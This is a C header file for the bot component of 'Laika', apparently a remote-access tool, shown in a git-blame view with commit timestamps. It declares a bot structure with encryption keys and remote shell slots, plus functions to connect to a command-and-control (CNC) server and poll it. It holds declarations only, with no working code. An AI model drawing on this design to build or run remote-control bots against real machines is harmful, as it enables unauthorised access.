2022-01-25 03:46:29 +00:00
|
|
|
#ifndef LAIKA_BOT_H
|
|
|
|
#define LAIKA_BOT_H
|
|
|
|
|
|
|
|
#include "laika.h"
|
|
|
|
#include "lpacket.h"
|
|
|
|
#include "lpeer.h"
|
|
|
|
#include "lpolllist.h"
|
2022-06-27 23:57:00 +00:00
|
|
|
#include "lsocket.h"
|
2022-02-25 04:13:05 +00:00
|
|
|
#include "lsodium.h"
|
2022-06-27 23:57:00 +00:00
|
|
|
#include "ltask.h"
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-02-21 23:25:49 +00:00
|
|
|
struct sLaika_shell;
|
2022-06-27 23:57:00 +00:00
|
|
|
struct sLaika_bot
|
|
|
|
{
|
2022-02-03 22:25:49 +00:00
|
|
|
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
2022-05-08 01:09:42 +00:00
|
|
|
struct sLaika_shell *shells[LAIKA_MAX_SHELLS];
|
2022-01-25 03:46:29 +00:00
|
|
|
struct sLaika_pollList pList;
|
2022-04-14 17:11:29 +00:00
|
|
|
struct sLaika_taskService tService;
|
2022-01-28 01:55:28 +00:00
|
|
|
struct sLaika_peer *peer;
|
2022-04-14 17:11:29 +00:00
|
|
|
struct sLaika_task *shellTask;
|
2022-05-08 01:09:42 +00:00
|
|
|
int activeShells;
|
2022-01-25 03:46:29 +00:00
|
|
|
};
|
|
|
|
|
|
|
|
struct sLaika_bot *laikaB_newBot(void);
|
|
|
|
void laikaB_freeBot(struct sLaika_bot *bot);
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
/* can throw a LAIKA_ERROR */
|
|
|
|
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port);
|
2022-04-14 17:11:29 +00:00
|
|
|
bool laikaB_poll(struct sLaika_bot *bot);
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
|
|
|
|
void *uData);
|
2022-04-13 17:19:06 +00:00
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
#endif
|